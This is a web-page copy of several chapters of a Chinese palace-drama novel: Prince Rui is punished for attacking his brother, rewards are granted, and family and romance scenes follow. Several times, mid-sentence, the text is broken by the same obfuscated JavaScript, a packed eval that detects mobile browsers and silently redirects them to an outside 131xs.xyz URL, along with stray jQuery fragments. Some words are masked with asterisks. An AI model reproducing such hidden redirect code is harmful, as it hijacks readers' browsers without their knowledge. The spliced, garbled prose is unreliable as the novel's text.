“凭什么我头悬梁锥刺股,功课样样拔尖,换不来您一句夸赞,一个眼神?父皇!我也是您亲生的儿子啊!”
“到底凭什么!!!”
第335章 永安王嘲讽
文昭帝被睿王这一连串控诉逼得面色发白。
他之所以对其他皇子态度普通冷淡,就是因为害怕他一句多余的关心,一个不合时宜的赞许,会让他们和他们身后的大臣,生出不该有的妄念,最终踏上一条万劫不复的死路。
他对太子很满意,不想让任何人取代他的位置。
他更不愿看到他们兄弟阋墙,手足相残的场景。
所以他想用这份冷淡让其他儿子都知难而退,安分守己,做个富贵闲王,平安终老。
太子仁善,他若登基,自然会听从他的遗诏善待其他皇子。
可其他人就未必会给太子和小石头一条活路了。
他没想到,终究还是走到了这一步。
文昭帝尚未开口,太子担忧的目光紧紧锁在龙椅上气息不稳的父皇身上。
就在这时,一直沉默冷眼旁观的谢翊宁,漫不经心地向前踏出了一步。
他盯着睿王,极轻地嗤笑了一声。
“睿王兄,劳烦你给我解释解释,什么叫‘除了会装病撒泼,一无是处的纨绔’?”
“你家纨绔能揪出柳家搏命窟里**的勾当?能查清他们科举舞弊的脏事儿?能活着把柳家万贯家财和证据从青州带回来?还能躲开你派来问候我的那几波死士?”
他每说一句,都要附送一个鄙夷的笑,眼神里的嘲弄几乎要溢出来。
“唉,这年头,当个纨绔门槛都这么高了吗?”
众朝臣:“……”
这永安王说话真是一如既往的气人。
谢翊宁继续质问:“你说父皇偏心?好啊,咱们来算算!”
“我吃山珍海味,你不也一样?”
“我穿绫罗绸缎,你不也一样?”
“可我活不过二十,你呢?你若是不作死,完完全全可以活到七老八十。”
“谢允恪,你摸着良心说,从小到大,父皇少了你什么?少了你母妃什么?你吃的用的学的,哪一样不是顶好的?你还有什么不知足的?”
众朝臣听着谢翊宁说的这番话,下意识地点了点头。
似乎还真是这么个理?
皇上待其他皇子虽说远不如对太子那般倚重信爱,也不似对永安王那般嘘寒问暖、事事纵容,但该给的亲王尊荣、份例用度从未有过半分短缺苛待。
太子是储君,国之根本,待遇自然不同,这有什么可攀比的?
至于永安王……
一个被断言活不过二十的孩子,陛下多怜惜几分,多纵容几分又能如何。
搁在寻常百姓家,做爹娘的也难免偏疼些体弱的小幺儿,更何况是天家?
这份“偏心”,细想起来,那就是人之常情。
这么一琢磨,皇上对睿王,实在说不上有什么亏欠之处。
反倒是睿王,享受着顶级的亲王富贵,却还不知足,甚至不惜残害兄弟、构陷血亲……
当真是贪心不足蛇吞象!
众人心头那点因睿王控诉而起的微妙波澜,此刻已被谢翊宁理直气壮的质问和他这回办差的功劳给抚平了。
只觉得睿王简直是无理取闹,咎由自取。
全然忘了谢翊宁口中那些他“山珍海味”里,也有睿王尝不到的。
谢翊宁所谓的“绫罗绸缎”,睿王有归有,但远远没有他库房里堆得多。
睿王更是被逼得无话可说。
不能否认,父皇在吃穿用度甚至是请名师教导上,对他确实没有任何苛待。
但谢翊宁却没有放过他。
“哦,你说我不读书?”他特意瞟了一眼太子,带着点恃宠而骄的小得意。
“我以后又不用当皇帝,读那么多书做什么,识字明理不会被人骗不就行了。”
“反正有父皇母后还有太子哥哥给我撑腰。”
众朝臣:“……”
永安王到底是怎么能理直气壮说出这样的话来的?
还让他们没有办法反驳。
太子:“……”
忽然就感觉肩膀上的担子重了好多呢。
原本小石头只活到二十岁的话,父皇母后给他兜底就够了。
如今国师的预言已改,按照小石头这能吃能喝还不操心的性子,估计活到**十岁都没问题。
这样的话,他是不是还得抓紧时间和太子妃生个儿子,不然小石头日后靠谁兜底?
“自己不学无术,还、还给自己找这些冠冕堂皇的借口!简直无耻!”睿王受不了谢翊宁这些质问,终于忍不住反驳了。
“我找借口?”谢翊宁像是听到了天底下最好笑的笑话。
“我看真正找借口,给自己脸上贴金的人是你吧?”
他微微歪头,语气轻飘飘的,却字字诛心。
“头悬梁锥刺股?啧啧啧,听着可真唬人。学得那么慢,那么吃力,笨就是笨,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147915|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还非要给自己硬安个勤勉刻苦的好名声。”
而后,谢翊宁的目光越过气到发抖的睿王,带着一种理所当然的崇拜看向了太子。
“真正聪明好学的,是太子哥哥那样的!太傅讲一遍,他就能举一反三,触类旁通。朝政军务,样样了然于心,这才是真本事!真才学!”
“而不是像你——”他拖长了调子,欣赏着睿王瞬间涨成猪肝色的脸。
“学得吭哧瘪肚,事倍功半,还非要装出一副悬梁刺股的可怜相,好像全天下都欠了你似的。你那不是勤快,那是蠢而不自知!”
“做人,不能既要又要!你享受着亲王的尊荣富贵,享受着你母妃带来的安稳尊荣,却还眼红太子哥哥的位置,嫉妒父皇多看我两眼。”
“谢允恪,你贪心不足,就别赖父皇偏心了!”
睿王被他的话彻底激怒了。
“谢翊宁,我要杀了你!!!”
他双目赤红,目眦欲裂,整个人不管不顾地朝着谢翊宁扑了过去。
“啊——!”
“睿王殿下不可!”
金銮殿上瞬间炸开了锅。
惊呼声、抽气声响成一片。
谁也想不到,堂堂亲王竟敢在满朝文武面前,做出如此丧心病狂的举动。
太子反应极快,在睿王扑出的瞬间,已一个箭步挡在谢翊宁身前,同时厉声喝道:“拦住他!”
殿前侍卫立刻出手,迅速将睿王制服。
“放开我!放开!谢翊宁!我要杀了你!杀了你这个废物!!”
睿王被死死压住,额头青筋暴起,宛如一个濒死的野兽在垂死挣扎。
所有官员都屏住了呼吸。
他们从未想过,一位亲王,在早朝之上,御座之前,意图当众行凶弑杀另一位亲王!
文昭帝看着这一幕,脸上再无一丝波澜。
他看着地上被侍卫死死压制住却依旧咒骂不休的睿王,仿佛在看一个陌生人,一个……必须被清除的祸患。
他疲惫地阖了阖眼,再睁开时,声音不高,却带着一种不容置疑的冷漠。
“睿王谢允恪,御前失仪,咆哮朝堂,意图弑杀亲王,罪无可赦。”
“褫夺亲王爵位,废为庶人。”
“即刻押入天牢,严加看管,非朕亲旨,任何人不得探视!”
“一应罪证,着三司会审,从严从重,依律论处。”
第336章 惩罚与赏赐
处置了睿王之后,文昭帝并未停歇。
临清知州罗康、顶替功名的柳文博、以及包庇柳家多年的前任青州知府温如璋等一干重犯,之前已经让三司会审过了,如今证据确凿,皆判了秋后问斩,家产抄没。
几人的家眷,则判了流放琼州,遇赦不赦。
至于邢天海,念其****有功,且最终悬崖勒马,协助朝廷铲除柳家。
再加上永安王谢翊宁御前求情,文昭帝权衡再三,终是法外开恩。
褫夺其官身,将其贬为庶民。
特准其以白身发往边陲效力,以十年为期。
十年之内,若能安分守己、戴罪立功,期满或可赦还原籍。
若再生事端,定斩不饶。
其家眷免死,均流放辽东,子孙三代不得科举。
一切尘埃落定,但金銮殿内压抑的气氛却并未散去。
文昭帝疲惫地揉了揉眉心,强打起精神开口:“永安王谢翊宁。”
谢翊宁闻声,规规矩矩地躬身行礼:“儿臣在。”
文昭帝看着他,缓缓开口:“青州一案,你深入虎穴,明察暗访,将草菅人命的柳家给拔除,还查清了科举舞弊一案,更于凶险之地临危不乱,缉拿首恶,缴获罪证,押解回京。途中遭遇截杀,临危不惧,保全人证物证,居功至伟!”
他一口气夸了小儿子好长一串话。
若不是严公公拼命用眼神暗示可以了,他还想再夸两句。
瞧瞧,都说他的小儿子不成器,现在多能干。
文昭帝顿了顿,严肃着脸继续道:“此等大功,非重赏不足以酬。着即——”
“加赐永安王岁禄三千石!”
“赐龙渊金符一枚,许其专折奏事,遇紧急军情民变,可凭此符直奏御前!”
“赐玉龙驹一匹,允其于宫禁之内骑马行走!”
“另赐白银万两,明珠十匣,蜀锦百匹,东海珊瑚树一座,入永安王府库!”
听着一项项封赏落下,满朝文武暗自心惊。
岁禄三千石?
这可是亲王里头顶天的恩赏了。
金符专奏?
若非永安王活不过二十,他们都要猜测皇上是不是对永安王偏心过头,想换太子了。
宫禁骑马?
开国至今,谁在宫里头不是规规矩矩走路。
在宫里骑马,他们想都不敢想。
皇上给永安王这恩典,真是前所未有。
满朝文武看在眼里,心里都跟明镜似的。
皇上扣了永安王好几十年的俸禄了,这一朝立功,恨不得把所有好东西都塞给他。
但他们也无话可说,毕竟这一回,永安王确实立了大功。
“儿臣叩谢父皇圣恩。”谢翊宁恭恭敬敬地跪下行礼谢恩。
他并未起身,而是抬头看向文昭帝,眼里带着一丝期待。
“父皇,此番青州之行,儿臣能侥幸不辱使命,平安归来,绝非儿臣一人之功。”
“隐麟卫指挥使秦朔大人,临危受命,护卫周全,调度有方,于青州血战之中,身先士卒,功不可没。”
“神枢营参将朱擎岳,领兵接应,肃清沿途山匪,居功至伟。”
“更有令嘉县主,于儿臣遇险之际,救儿臣于生死一线!且其智勇双全,深入虎穴,寻获柳家视为命脉的造船秘术,献于朝廷,此乃社稷之福!”
他顿了顿,声音带上了一丝不易察觉的恳切:
“还有令嘉县主的生父棠风陵,三次录科考被顶替,蒙冤十年,家道中落,饱受欺凌。此番能揭破科举舞弊大案,与他密不可分!”
“父皇是否也该对他**行赏,还其清白与公道?”
文昭帝看着小儿子一本正经为他人请功的模样,有些无奈又有些想笑。
皇后早已将他那点“替人讨赏”的小心思透了个底朝天。
文昭帝微微颔首,眼中带着了然和一丝纵容。
“嗯,永安王所言甚是。有功当赏,有冤当雪,此乃朝廷法度,亦是朕之信诺。”
紧接着,他对此番跟随谢翊宁回京之人,都进行了封赏。
神枢营参将朱擎岳提升成了神枢营副将,秦朔虽然没升官,但加封了承恩侯。
棠云婋从令嘉县主升为了令嘉郡主。
棠家人的赏赐也没落下。
棠风陵十一岁中童生,十四岁即为秀才,本是天纵之才,却几次三番被夺了科举的资格,以致明珠蒙尘,半生潦倒。
文昭帝对此深感痛惜。
担心此事寒尽天下士子之心,于是特赐棠风陵同举人出身,免了他的乡试,来年他可以直接参加会试。
随后又任命棠风陵入国子监,担任典籍厅典籍,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147916|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
特擢升其妻方青鸾为七品安人。
还特许棠云麒和棠云麟兄弟二人同入国子监就读。
另赏白银一千两,京畿良田百亩,并免其本人终身田赋。
谢翊宁没想到父皇的赏赐比他预想的更周全。
国子监典籍虽只是从九品的小官,但职责是管理藏书、校勘文献,正好让棠风陵有机会阅览历年状元答卷和考官批注,对他准备会试大有帮助。
这安排既符合他如今的秀才身份,又避免了越级提拔的争议,朝中大臣们没法反对。
姜还是老的辣啊!
他眼中浮现出笑意,再次郑重叩首:“父皇圣明!儿臣代诸位功臣,谢父皇恩典!”
*
漫长的早朝总算结束了。
文昭帝只想赶紧去御书房把剩下的奏折批了,然后好去未央宫和皇后还有小石头以及太子一家,一块吃团圆饭。
刚到御书房门口,他就看到了卢贤妃直挺挺地跪在石阶上,头发一丝不乱,脸色却白得像纸。
文昭帝的脸唰地就沉了下来:“你来干什么?”
卢贤妃抬眼底是一片绝望的死灰,她哆嗦着,猛地一个响头磕在地上:“皇上!臣妾……臣妾替允恪请罪来了!”
“请罪?”文昭帝冷笑一声,几乎是从牙缝里挤出这两个字。
“他犯的是残害手足的死罪!你请得动吗?”
卢贤妃听到这话眼泪终于汹涌而出,她跪着爬了两步,爬到了文昭帝面前,扯着他的衣摆撕心裂肺地哭了起来。
“臣妾知道允恪他罪该万死,臣妾不敢求您饶恕他……臣妾只求您开恩,留他一条贱命!”
“皇上,允恪也是您的骨血啊!您统共就五个儿子,您真的要夺去他的命吗?”
她这话刺得文昭帝心头一痛。
他何尝不知道他一共就五个儿子,如今却一个一个被他亲手废了。
卢贤妃见皇上没有吭声,顿时泣不成声。
她豁出去了,将脑袋重重磕在坚硬的石板上,瞬间就见了红。
“臣妾愿意代他**!用臣妾这条命换他的命!皇上!求您了!您就当……就当没生过这个儿子,把他圈禁起来,一辈子不见天日都行。只求您……别杀他……”
她语无伦次,反复磕着头,血迹混着泪水糊了满脸,狼狈又可怜。
第337章 有事想问你
文昭帝看着地上那摊刺目的血和她崩溃的样子,怒火直冲天灵盖。
他指着卢贤妃厉声喝道:“闭嘴!你还有脸来替他求情?”
“他敢对永安王下**的时候,可曾想过兄弟之情?可曾想过朕?!”
“你教子无方,养出这等逆子,还敢在此哭嚎扰朕清净?”
“滚!从今日起,你不再是贤妃!废为庶人!给朕滚去冷宫待着!再敢多说一句,朕连你一并处置了!”
吼完,他看也不看面如死灰的卢贤妃,大步流星地朝御书房走去。
严公公看了旁边噤若寒蝉的宫人一眼:“愣着干什么?还不赶紧听皇上的,将人拖走!”
宫人们这才反应过来,赶紧手忙脚乱地把这位曾经的贤妃娘娘给拖走。
文昭帝憋着一肚子火在御书房处理奏折。
那些字一个个都像在纸上跳,看得他脑仁疼。
朱砂笔拿在手里,不是戳重了就是划歪了,好几份奏折上留下了深深的红痕。
好不容易把最后一份折子胡乱批了个“知道了”甩开,只觉得胸口那股闷气非但没散,反而更沉甸甸地坠着。
他起身去未央宫,脸色依旧阴沉着。
崔皇后抬眼一看他这副模样,顿时明白他在烦什么了。
卢氏跪在御书房前磕得头破血流替睿王求情的事,早就有人一字不落地报到了她这儿。
她没急着劝,只是起身将一碗冰镇过的绿豆汤送到了文昭帝面前。
“皇上,天燥,喝点绿豆汤去去心火。”她声音温和平静,如同夏日凉风,一瞬间抚平了文昭帝心头的烦躁。
他忍不住握住她的手叹了一口气。
崔皇后听他叹气,便明白了。
皇上这是心软了啊。
倒也是,本来儿子就少。
除去太子和小石头,景王被废,如今按照律令,睿王又要被处死,那就只剩一个腿有疾的五皇子了。
皇上怎能不烦,怎能不心软。
崔皇后佯装什么也不知道,语气一如既往地温柔:“皇上可是有什么烦心事?”
“还不是那逆子!”文昭帝将心里对谢允恪的不满宣泄了出来。
崔皇后听到这话,松开了他的手。
皇上吓了一跳。
好端端的,皇后为何撒手,难不成是生气了?
“皇后怎么了?”他顾不得烦躁,赶忙询问。
“臣妾只是觉得心烦。”崔皇后哽咽了。
“你烦什么?”文昭帝愣住了。
难道不应该是他这个当父皇的烦么。
“小石头是臣妾生的,臣妾得知您为了他处置睿王,原本是该高兴的。可看到您这般郁闷的模样,臣妾又觉得如果放过他能让您心情好一些,那放过便放过吧。”
“总归他都是皇上的孩子。将他贬为庶人,留他一条命,将他送得远远的也就罢了。”
“可这样臣妾又觉得对不起小石头。他此番九死一生,差点就回不来了。”
“他还没有娶妻生子,连个后都没有留。臣妾这个当母后的若是替他原谅了杀害他的人,臣妾还配当他的母后么?”
崔皇后说完,便倒在了皇上的怀里,滚烫的眼泪无声地涌出来,迅速浸透了他胸前的龙袍。
她的哭与卢贤妃那不顾体面、声嘶力竭的哭求截然不同。
这种沉默的,浸透着无尽哀伤的哭泣,反而比卢氏歇斯底里的哭嚎更让人心头发紧。
文昭帝的心一瞬间就偏向了崔皇后这里。
卢氏若是懂事,又怎么会来用命威胁他,让他留睿王一条活路。
他若饶了睿王这一回,于情于法,都不合适。
皇后说得对,小石头还没娶妻生子,而睿王已经有了后。
他又没有下令睿王府满门抄斩,已经够对得起睿王和卢氏了。
他若放过睿王,那就是对不起小石头。
文昭帝扶正了崔皇后的身子,一字一句道:“皇后说的什么话。那个逆子犯下了这样的滔天大罪,朕如何能饶恕他。”
“王子犯法,与庶民同罪!这话是祖宗定下的规矩!”
“朕若饶了他,何以正纲纪?何以服天下?这江山社稷的法度还要不要了?”
“此事皇后无需烦忧,朕也不会烦忧,《大虞律令》如何裁决,依律处置就是。”
这时,云黛的声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147917|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
音从外边传来。
“启禀皇上,皇后娘娘。太子殿下和太子妃,还有两位小郡主到了。”
崔皇后赶忙掏出帕子擦掉眼泪,笑着看向文昭帝。
“臣妾都听皇上的,不管皇上做什么,臣妾都会支持您。您是天子,您做的事情,总是有您的道理。”
一句话将文昭帝哄得心里一阵服帖。
“嗯,赶紧擦擦眼泪,让孩子们看见了,还以为朕欺负了你呢。”他温柔地替崔皇后擦掉了眼泪。
两人整理了片刻衣裳,这才让太子一家进来。
太子进来行礼过后,就找谢翊宁。
“小石头呢?”
他还有事要找他算账呢。
国师语言改了那么大的事情,竟然瞒着他。
他必须得好好教训他一顿才是。
“他还没来呢。”崔皇后回道。
她看了一眼云黛,云黛忙道:“永安王说他会来得稍晚一些,他随公公去摘星山庄给令嘉郡主颁旨去了。”
崔皇后:“……”
第一时间就眼巴巴地凑过去,这孩子还嘴硬说对人家姑娘无意呢。
算算日子,小姑娘马上要及笄了。
到时候若开始相看议亲,她就等着看这臭小子后悔,痛哭流涕来找她赐婚!
*
摘星山庄。
皇上的旨意和赏赐同时送达了。
棠家人十分震惊,没想到皇上竟然给了那么重的赏赐。
棠云麒和棠云麟更是傻眼了。
阿爹是从九品国子监典籍,阿娘是七品安人,妹妹是二品的郡主。
合着如今一家子,除了他们俩,其他人都有品阶了?
“本王答应你的事情,都办妥了,我该回宫了。”谢翊宁看着流水般的赏赐搬进摘星山庄,满意地点点头,和棠云婋道别。
“母后他们还等着我回宫吃团圆饭呢。”
“王爷,等等……”棠云婋叫住了他。
“怎么了?”谢翊宁有些疑惑。
“我,我有件事,想问问您。”棠云婋感觉到阿娘在背后热烈的凝视,还是鼓起勇气迈出了这一步。
反正早问晚问都是要问,不如今天问清楚。
第338章 催你嫁人么
“什么事?”谢翊宁有些疑惑。
他思来想去,答应小恩人的事情都办妥了,应该没有遗漏什么吧?
棠云婋深吸一口气,开口道:“我想问……您可有心仪之人?”
“没有啊。”谢翊宁下意识地回答。
随即他又警惕了起来。
小恩人怎么忽然问这个,莫非她有心仪的人了?
是谁?
难不成是季行舟?
谢翊宁后悔得恨不得掐自己大腿。
男未婚女未嫁的,这一路上,不该让他们过多相处的。
“没有啊”三个字好像一盆冷水,在这炎热的天气里浇得棠云婋透心凉。
她就知道!
王爷怎么可能喜欢她。
阿娘还非说王爷看她的眼神不一样……
阿娘定是眼花了。
“怎么了?可是你娘催你嫁人了?”见她垂着小脑袋半晌不吱声,谢翊宁有些耐不住,凑近了些追问。
棠云婋闷闷地点了点头。
谢翊宁顿时就急了,好看的眉头一下子蹙了起来。
“虽说你马上及笄了,可嫁人这等大事,岂能儿戏!”他语速快了几分。
“母后说过的,女子嫁人便是第二次投胎,若所托非人,那可是一辈子都毁了。”
“你爹娘才来京城多久?认得几个适婚的世家子弟?这般仓促替你相看,能挑到什么好人家?”
棠云婋喃喃道:“所以……您觉得该怎么办呢?”
“所以,这事就包在本王身上!”谢翊宁像是终于等到她这句问话,拍着胸脯斩钉截铁道。
“他们若有看上的人家,你只管告诉我。管他是哪家的公子王孙、簪缨子弟,本王亲自去替你查!一定查他个底朝天。”
“人品、才学、家世、后院干不干净……保管给你查得清清楚楚,绝不让你稀里糊涂就跳了火坑!”
总而言之,他必须好好替她挑挑。
但凡有一点儿不好,他就不会让棠风陵夫妇将她嫁过去。
棠云婋终于抬头了。
她看着谢翊宁的眼睛,确认他说这句话不是在开玩笑之后,点了点头,脸上浮起一丝客气的假笑。
“好。那就拜托王爷了。”
谢翊宁看她这么笑,总感觉好像有什么东西不一样了。
他感觉小恩人对他好像客气了不少。
但他一时间没明白是为什么,只觉得心里有些堵得慌。
他盯着棠云婋,小声道:“……你我之间,不必那么客气。”
“是,王爷。我知道了。”棠云婋点了点头,开口送客。
“您快回宫吧,莫要让皇上和皇后娘娘他们等急了。”
谢翊宁点点头,翻身上马,但没忍住又回头多看了她几眼。
他总感觉小恩人怪怪的,为什么呢?
但棠云婋脸上依旧挂着笑容,他便没想太多,抓紧时间入宫去了。
省得待会迟到太久,要挨骂。
送走了谢翊宁之后,棠云婋垂头丧气地回了庄子。
方青鸾瞧见她这副模样,心头“咯噔”一跳。
怎么了,难道事情进展不顺利。
“婋婋……”她有些担忧地看着女儿。
棠云婋冲她摇了摇头,声音没什么起伏:“阿娘,您想多了。”
随后她看向了不远处的棠云麒。
“大哥,陪我过两招呗。”
“好呀!正好活动活动筋骨。”棠云麒不明所以,爽朗一笑答应了下来。
两人去了演武场。
棠云婋的目光扫过兵器架,原本正欲拿起那杆流**,指尖顿了顿,又若无其事地放下了,转而抽出一柄分量不轻的宽背长刀。
棠云麒见她放下那杆异常打眼的枪,眼睛却是一亮。
“诶?这枪瞧着真不错!婋婋你哪儿弄来的宝贝?”他几步上前,忍不住想摸。
棠云婋手腕一翻,长刀“呛啷”一声斜指地面,正好隔开了他的手,语气平淡无波:“永安王弄断了我的旧枪,赔的一把新的。”
“嘿!”棠云麒一听,更来劲了,对着那流**啧啧称赞。
“永安王殿下可真是讲究人,大气!这赔礼够分量!”
他光顾着夸永安王,全然没注意到妹妹瞬间冷下来的眼神。
“嗯,是不错。”棠云婋点了点头,脸上最后一丝笑意也消失得无影无踪,只剩一片沉静。
她掂了掂手中长刀,询问道:“大哥,你选好了么?来吧。”
“行!那我也用刀。”棠云麒乐呵呵地也挑了把刀,摆了个起手式,神情轻松,“老规矩,点到为止啊,婋婋。”
话音未落,棠云婋动了。
没有试探,没有虚招。
她出手便是一记势大力沉的力劈泰山。
快!准!狠!
棠云麒吓了一跳,仓促间举刀格挡。
“铛——!”
一声震耳欲聋的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147918|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
金铁交鸣。
巨大的力道顺着刀身狠狠撞来,震得棠云麒虎口发麻,脚下“蹬蹬蹬”连退三步才稳住身形,脸上轻松的笑容彻底僵住。
他愕然抬头,不是说好了点到为止么,婋婋怎么用了那么大的力气?
不等他喘口气,棠云婋的第二刀紧随而至。
这次是横扫腰际,角度刁钻,速度竟比刚才更快三分。
棠云麒心头警铃大作,狼狈侧身翻滚避开。
“婋婋!你来真的?”他惊叫出声。
回应他的是更疾风骤雨般的攻击。
棠云婋的每一刀都倾尽全力,似乎要将所有的烦闷,和说不清道不明的委屈全都劈斩殆尽。
棠云麒彻底懵了。
他从未见过妹妹如此打法,也从未感受过如此沉重的压力。
他手忙脚乱地格挡、闪避,只觉得对方的刀越来越重,越来越快。
每一次撞击都让他手臂剧震,气血翻涌。
不过十招,棠云麒便觉得双臂酸软得几乎抬不起来。
“撒手!”
棠云婋一声清叱,棠云麒只觉得手腕剧痛,再也握持不住。
他手中的长刀脱手飞出,远远砸落在演武场的青石板上。
而棠云婋的刀尖,正稳稳地停在他心脏前三寸之地,纹丝不动。
演武场瞬间死寂。
棠云麒大口大口喘着粗气,汗水顺着额角淌下,滴进眼睛里也忘了擦。
他呆呆地看着近在咫尺的刀尖,又缓缓抬头,看向持刀而立的妹妹。
他竟然在十招之内,被婋婋打得毫无还手之力,连刀都丢了……
一股难以言喻的挫败感和荒谬感瞬间淹没了棠云麒。
所以,之前婋婋和他过招,一直是在让着他?
“大哥,你底子扎实,就是今天力道和心气都弱了点。”棠云婋手腕一翻,利落地收刀入鞘。
一场酣畅淋漓的比试下来,堵在心口的那团闷气总算散了大半。
她心里那点小疙瘩也彻底捋清了。
没道理她喜欢王爷,王爷就非得喜欢她。
可她不是轻易认命的性子。
她想要的,自会拼尽全力去争。
所以……
她既心悦于王爷,那便放手去争!
争过了,成也好,败也罢,总归不负己心,无悔无憾。
横竖王爷如今心上空无一人。
既然空着,凭什么不能装下她棠云婋?
第339章 永安王认错
谢翊宁一进未央宫,就看到父皇母后还有太子哥哥齐刷刷扭头看向了他。
“你跟我来。”太子率先起身。
“去哪呀?”谢翊宁一头雾水。
“让你来,你就来。”太子严肃地看着他。
谢翊宁顿时觉得心底有些打鼓。
太子哥哥平日对他最好,父皇母后若是要惩戒他,他总是站出来护着他。
可他一旦发起脾气来,那是最吓人的。
他看了一眼父皇母后,希望他们能给他一点暗示。
结果两人竟然齐刷刷低头喝茶了???
“嫂嫂……”谢翊宁看向太子妃。
太子妃沈清梧忙道:“哎呀,令仪好像哭了,我得看看去。”
她虽然不知道太子要和永安王说什么,但那也不是她该插手的。
于是她急急忙忙起身,和帝后行礼告退去偏殿看孩子了。
谢翊宁:“……”
得,这回是逃不掉了。
他只得认命地跟着太子去了一旁内室。
“跪下。”太子声音不高,却带着前所未有的冷意。
谢翊宁彻底懵了,眼睛满是茫然和委屈:“太子哥哥?我……”
“国师预言已改这等天大的事,为何独独让父皇母后瞒着我一人?”太子打断他,平日温润的眉眼此刻凝着一层薄霜,声音沉沉地压下来。
“谢翊宁,你翅膀硬了,不认我这个哥哥了,是不是?”
谢翊宁瞬间明白了太子哥哥为何这般反常,这般愤怒。
他二话不说,麻溜地跪了下去。
他仰起脸,先前的神采飞扬此刻全变成了可怜巴巴的讨好:“太子哥哥!我错了!我真的知道错了!”
他凑到太子跟前,像小时候闯了祸一样,伸手就去扯太子的衣袖。
“你别生气,我不是不认你,我哪敢啊!我这不是怕到头来空欢喜一场,让你白白高兴么。”
“哥哥,就别为了我这点事生气了。”
“你看看,我这些时日去青州都累瘦了。还被人追杀,我差点就回不来,见不到你,见不到父皇和母后了。”
太子听着他委屈巴巴的话,强撑着的冷硬面具差点就裂开了。
“哥哥,我真的知错了,以后有事再也不敢瞒你了。”谢翊宁轻轻扯了扯兄长的衣袖,带着小心翼翼的试探。
看着他这副没心没肺却又透着真切依赖的模样,太子只觉得一股酸涩的热流猛地冲上眼眶。
他猛地吸了口气,强压下喉头的哽咽,抬手屈指狠狠敲在谢翊宁光洁的额头上。
“混账东西!”
“这么大的事也敢瞒!你知不知道这事若是从别人那传到我的耳朵里,会造成什么后果?”
虽然语气还是很严厉,但面上的表情已经有所松动。
谢翊宁忙不迭点头:“之前不知道,现在知道了。”
“那你说说,知道什么了?”太子低头看向他。
“会惹你生气,会给别人挑拨离间的机会。是我错了,我考虑不周全,我光想着不让哥哥担心,却忘了咱们是一家人,这样大的事情不能隐瞒。我以后绝对不会这样做了。”谢翊宁飞快认错。
“你若还不解气,你打我两下也行。或者你罚我不许吃饭,扣我俸禄都好,只要你别生气。”
“太子哥哥,我还从青州给你带了好东西呢,准备明日一块送去东宫的。你就原谅我吧~~~”
从小到大,他认错已经认出心得来了。
首先得诚恳道歉,其次要表达以后改正的决心,最后再提出一个惩罚的措施或者补偿的办法,通常就没事了。
果不其然,听到他这话太子脸上的总算多了一抹笑意。
“这还差不多。起来吧。”
没想到,谢翊宁非但没起来,还直接往地上一躺。
“我起不来,得让哥哥拉我起来。谁让你罚我跪下的。我都已经是亲王了,我不要面子的吗。怎么能动不动让我跪下呢。”
太子:“……”
说得好像刚封的亲王一样,明明从小就是!
再说了,要什么面子。
这屋子里就他们兄弟二人。
但他还是无奈地叹了一口气,伸出手把人拉了起来。
“行了,下不为例。”太子一本正经地看着他。
谢翊宁乖乖点头:“没有下次了。”
文昭帝和崔皇后听到他们出来的动静,看了过去。
见他们兄弟二人有说有笑,显然是已经说开了。
两人顿时松了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157081|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一口气。
“去将太子妃和郡主带过来吧。”崔皇后吩咐道。
一家人吃团圆饭,总该都到齐。
